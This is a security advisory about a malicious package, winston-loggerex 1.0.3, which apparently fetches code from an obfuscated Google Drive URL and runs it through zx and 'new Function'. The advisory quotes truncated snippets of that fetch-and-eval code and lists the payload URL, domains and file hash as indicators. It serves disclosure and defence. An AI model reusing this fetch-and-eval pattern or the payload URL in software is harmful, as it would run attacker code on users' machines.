VDB
GCVE-110-OSM-2026-2806
GCVE-110-OSM-2026-2806
Advisory PublishedCVSS 9.6/10
Malicious package detected. Behaviors: code execution, network activity.
Payload: dist/winston-loggerex/logger.js
Secondary files: lib/winston-loggerex/logger.js
Key findings:
- Fetch and Eval/Exec in dist/winston-loggerex/logger.js: "await import('zx');
mod.$.verbose = false;
const res = await mod.fet..."
- Reconstructed Obfuscated URL in dist/winston-loggerex/logger.js: "https://docs.google.com/uc?export=download&id=1reY2QhksTVcjFh_zYjt9M6mjXcYtXpty"
- Fetch and Eval/Exec in lib/winston-loggerex/logger.js: "await import('zx');
mod.$.verbose = false;
const res = await mod.fetch(ur,..."
- Reconstructed Obfuscated URL in lib/winston-loggerex/logger.js: "https://docs.google.com/uc?export=download&id=1reY2QhksTVcjFh_zYjt9M6mjXcYtXpty"
- Dynamic Code Execution in dist/winston-loggerex/logger.js: "new Function("rqr", data)"
IOCs:
- urls: https://mochajs.org, https://docs.google.com/uc?export=download&id=1reY2QhksTVcjFh_zYjt9M6mjXcYtXpty
- domains: mochajs.org, docs.google.com
- payloadFileHash: fbcf9966da28d14ac58983da63db553fbb289eb3376bb492f4a40e0ccfd8ab51
Weaknesses (CWE)
CWE-506Embedded Malicious Code
Risk Scores
CVSS 3.1
9.6/10
Critical · CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H
Affected Products
| Vendor | Product | Versions | Platforms |
|---|---|---|---|
| unknown | winston-loggerex | 1.0.3 (affected) | — |
Explore Further
Investigate this vulnerability in the interactive console or download the raw GCVE record.